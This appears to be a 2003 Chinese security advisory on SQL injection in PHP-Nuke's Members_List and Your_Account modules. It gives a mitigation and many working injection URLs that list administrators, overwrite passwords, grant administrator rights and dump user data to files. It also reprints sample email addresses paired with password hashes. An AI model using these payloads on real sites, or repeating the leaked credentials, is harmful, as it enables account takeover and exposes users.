首页 -> 安全研究
安全研究
安全漏洞
PHP-Nuke多个SQL注入漏洞
发布日期:2003-03-06
更新日期:2003-03-12
受影响系统:
Francisco Burzi PHP-Nuke 6.5 BETA1描述:
Francisco Burzi PHP-Nuke 6.0
BUGTRAQ ID: 7031
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke中的'Members_List'和'Your_Account'脚本对用于构建SQL查询的外部数据缺少正确过滤,远程攻击者可以利用这个漏洞进行破坏数据库系统,控制PHP-Nuke等攻击。
'Members_List'和'Your_Account'模块中的脚本对用户提交的数据缺少正确过滤,攻击者可以插入恶意数据到提交的SQL查询中,导致修改原来的查询逻辑,可破坏整个PHP-Nuke系统。也可以用于其他类型的攻击,如显示用户,更改管理员用户名,把普通用户权限更改为管理员权限,或包括所有用户EMAIL和加密密码信息到指定文件中等等。
<*来源:Frog Man (leseulfrog@hotmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104696925831786&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Members_List :
- 显示用户(以加密密码排序) :
http://[target]/modules.php?name=Members_List&letter=All&sortby=pass
- 显示用户(以UID排序) :
http://[target]/modules.php?name=Members_List&letter=All&sortby=uid
- 显示版主:
http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*
- 显示管理员:
http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='4'/*
- 显示所有加密密码以'abc'开头的用户:
http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/*
Your_Account :
- 更改'Admin'名用户为"hophophop" :
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/*&uid=[OUR_UID]
- 更改Bob的MD5加密密码为:
'd41d8cd98f00b204e9800998ecf8427e' :
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
- 更改用户帐户为管理员正户:
http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[OUR_UID]
or :
http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[OUR_UID]
- 保存所有用户EMAIL和加密密码信息到http://[target]/AllMailPass.txt中:
http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/[path/to/site]/AllMailPass.txt'/*
http://[target]/AllMailPass.txt文件信息类似:
--------------------------------------------------------
chaeyut@yahoo.com a34e83e6658923ceb100abb52cd31df6
for-ever@yahoo.com 5728cea4924d9097c78d08165ad1dd8a
runbur@netzero.com 546fa9501a436d4615b798f856386ba8
venom@yahoo.com 614edfbc874f09d75b98240295a8f39f
gotchakd@yahoo.de fbd125e74581979d2b7fc6e2b360e286
cfischer@mindspring.com 9407c826d8e3c07ad37cb2d13d1cb641
mike@xiradio.com f9ac6b05beccb0fc5837b6a7fef4c1d3
mikdif@yahoo.com 6106edf3e22b0cd8609fa1112d0ae962
mcurry@hotmail.com 739897be3e14cf5a9fb032069f522b77
--------------------------------------------------------
- 保存uid190~196之间用户的信息:
into http://[target]/1.txt :
http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/[path/to/site]/1.txt
- 保存所有管理员版主等信息到http://[target]/admintxt中:
http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/[path/to/site]/admin.txt
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在php.ini文件中设置'magic_quotes_gpc'为'on'。
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org
浏览次数:5818
严重程度:0(网友投票)
绿盟科技给您安全的保障